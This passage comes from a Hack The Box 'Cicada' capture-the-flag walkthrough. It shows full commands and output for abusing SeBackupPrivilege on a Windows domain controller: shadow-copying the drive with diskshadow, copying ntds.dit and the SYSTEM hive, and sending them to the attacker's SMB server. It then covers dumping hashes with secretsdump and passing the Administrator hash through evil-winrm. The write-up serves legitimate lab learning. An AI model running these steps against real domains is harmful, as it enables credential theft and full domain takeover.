C:drive to the backup and assigns it the aliascdrive.create: Creates the shadow copy for the specified volume (in this case, the
C:drive).expose %cdrive% E:: Exposes (mounts) the shadow copy of the
C:drive as a new drive letterE:.end backup: Marks the end of the backup process.
In summary, this script creates a shadow copy of the
C:drive and mounts it to theE:drive, making it accessible for further operations.
Now lets run diskshadow command with this script 🔻
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*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Videos> diskshadow /s back_script.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: CICADA-DC, 10/9/2024 10:46:44 AM
-> set verbose on
-> set metadata C:\Windows\Temp\meta.cab
The existing file will be overwritten.
-> set context clientaccessible
-> set context persistent
-> begin backup
-> add volume C: alias cdrive
-> create
Component "\BCD\BCD" from writer "ASR Writer" is excluded from backup,
because it requires volume which is not in the shadow copy set.
The writer "ASR Writer" is now entirely excluded from the backup because the top-level
non selectable component "\BCD\BCD" is excluded.
* Including writer "Task Scheduler Writer":
+ Adding component: \TasksStore
* Including writer "VSS Metadata Store Writer":
+ Adding component: \WriterMetadataStore
* Including writer "Performance Counters Writer":
+ Adding component: \PerformanceCounters
* Including writer "System Writer":
+ Adding component: \System Files
+ Adding component: \Win32 Services Files
* Including writer "WMI Writer":
+ Adding component: \WMI
* Including writer "DFS Replication service writer":
+ Adding component: \SYSVOL\760C4715-6766-4D86-B0E5-4668258AC503-E68080D4-A0B8-4ED9-AB8A-A7FFD4F0BA03
* Including writer "Registry Writer":
+ Adding component: \Registry
* Including writer "COM+ REGDB Writer":
+ Adding component: \COM+ REGDB
* Including writer "NTDS":
+ Adding component: \C:_Windows_NTDS\ntds
Alias cdrive for shadow ID {c63d2ce7-8a1a-4729-baab-3742d97c847c} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {92c97921-831e-4000-a85a-d8568a6d48c9} set as environment variable.
Inserted file Manifest.xml into .cab file meta.cab
Inserted file BCDocument.xml into .cab file meta.cab
Inserted file WM0.xml into .cab file meta.cab
Inserted file WM1.xml into .cab file meta.cab
Inserted file WM2.xml into .cab file meta.cab
Inserted file WM3.xml into .cab file meta.cab
Inserted file WM4.xml into .cab file meta.cab
Inserted file WM5.xml into .cab file meta.cab
Inserted file WM6.xml into .cab file meta.cab
Inserted file WM7.xml into .cab file meta.cab
Inserted file WM8.xml into .cab file meta.cab
Inserted file WM9.xml into .cab file meta.cab
Inserted file DisC9E5.tmp into .cab file meta.cab
Querying all shadow copies with the shadow copy set ID {92c97921-831e-4000-a85a-d8568a6d48c9}
* Shadow copy ID = {c63d2ce7-8a1a-4729-baab-3742d97c847c} %cdrive%
- Shadow copy set: {92c97921-831e-4000-a85a-d8568a6d48c9} %VSS_SHADOW_SET%
- Original count of shadow copies = 1
- Original volume name: \\?\Volume{fcebaf9b-0000-0000-0000-500600000000}\ [C:\]
- Creation time: 10/9/2024 10:46:56 AM
- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
- Originating machine: CICADA-DC.cicada.htb
- Service machine: CICADA-DC.cicada.htb
- Not exposed
- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
- Attributes: No_Auto_Release Persistent Differential
Number of shadow copies listed: 1
-> expose %cdrive% E:
-> %cdrive% = {c63d2ce7-8a1a-4729-baab-3742d97c847c}
The drive letter is already in use.
Note: END BACKUP was not commanded, writers not notified BackupComplete.
DiskShadow is exiting.
Now lets again try to copy the ntds.dit file but with robocopy Tool, That basically work as copy command only but more forcefully.
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*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Videos> robocopy /b E:\Windows\ntds . ntds.dit
-------------------------------------------------------------------------------
ROBOCOPY :: Robust File Copy for Windows
-------------------------------------------------------------------------------
Started : Wednesday, October 9, 2024 10:47:20 AM
Source : E:\Windows\ntds\
Dest : C:\Users\emily.oscars.CICADA\Videos\
Files : ntds.dit
Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
------------------------------------------------------------------------------
1 E:\Windows\ntds\
New File 16.0 m ntds.dit
0.0%
0.3%
0.7%
1.1%
1.5%
1.9%
2.3%
2.7%
3.1%
3.5%
[...snip...]
98.8%
99.2%
99.6%
100%
100%
------------------------------------------------------------------------------
Total Copied Skipped Mismatch FAILED Extras
Dirs : 1 0 1 0 0 0
Files : 1 1 0 0 0 0
Bytes : 16.00 m 16.00 m 0 0 0 0
Times : 0:00:00 0:00:00 0:00:00 0:00:00
Speed : 56,488,942 Bytes/sec.
Speed : 3,232.323 MegaBytes/min.
Ended : Wednesday, October 9, 2024 10:47:21 AM
Lets again try it with the Copy-FileSeBackupPrivilege method that I imported earlier through SeBackupPrivilegeCmdLets.dll, SeBackupPrivilegeUtils.dll dlls.
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*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Videos> Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Videos> ls C:\Temp
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/10/2024 5:25 AM 16777216 ntds.dit
Now it works like magic 🤣.
Let also access system file 🔻
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*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Videos> reg save hklm\system c:\temp\system
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Videos> ls C:\Temp
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/10/2024 5:25 AM 16777216 ntds.dit
-a---- 10/10/2024 5:28 AM 18518016 system
Lets access these files now, But how ? with SMB server like this 🔻
Attacker Machine 🔻
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┌──(kali🔥kali)-[~/Downloads/HTB/Cicada]
└─$ impacket-smbserver share . -smb2support -username emily.oscars -password '<PASSWORD>'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.35,52576)
Victim Machine 🔻
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*Evil-WinRM* PS C:\TEMp> net use m: \\10.10.16.32\share /user:emily.oscars 'Q!3@Lp#M6b*7t*Vt'
The command completed successfully.
*Evil-WinRM* PS C:\TEMp> copy system m:\
*Evil-WinRM* PS C:\TEMp> copy ntds.dit m:\ntds
As I got these 2 files ntds.dit and system file on my attacker machine so lets dump the hashes with secretsdump tool from impacket.
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impacket-secretsdump -system system -ntds ntds.dit Local
Secretsdump Tool from impacket module
Pass The Hash (PtH)🔻
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┌──(kali🔥kali)-[~/Downloads/HTB/Cicada]
└─$ evil-winrm -i 10.10.11.35 -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> whoami
cicada\administrator
*Evil-WinRM* PS C:\Users\Administrator> hostname
CICADA-DC
*Evil-WinRM* PS C:\Users\Administrator> tree /f /a
Folder PATH listing
Volume serial number is 1B60-8905
C:.
+---3D Objects
+---Contacts
+---Desktop
| root.txt
|
+---Documents
| \---WindowsPowerShell
| \---Scripts
| \---InstalledScriptInfos
+---Downloads
+---Favorites
| | Bing.url
| |
| \---Links
+---Links
| Desktop.lnk
| Downloads.lnk
|
+---Music
+---Pictures
+---Saved Games
+---Searches
\---Videos
*Evil-WinRM* PS C:\Users\Administrator> cat Desktop\root.txt
62a8e68f106b779f769ac47e48a1c5b5
*Evil-WinRM* PS C:\Users\Administrator> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : dead:beef::754b:9045:f7e8:966f
Link-local IPv6 Address . . . . . : fe80::787b:ea5b:a66a:aac%6
IPv4 Address. . . . . . . . . . . : 10.10.11.35
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:53c1%6
10.10.10.2
*Evil-WinRM* PS C:\Users\Administrator>
If you have any questions or suggestions, please leave a comment below. Thank You !
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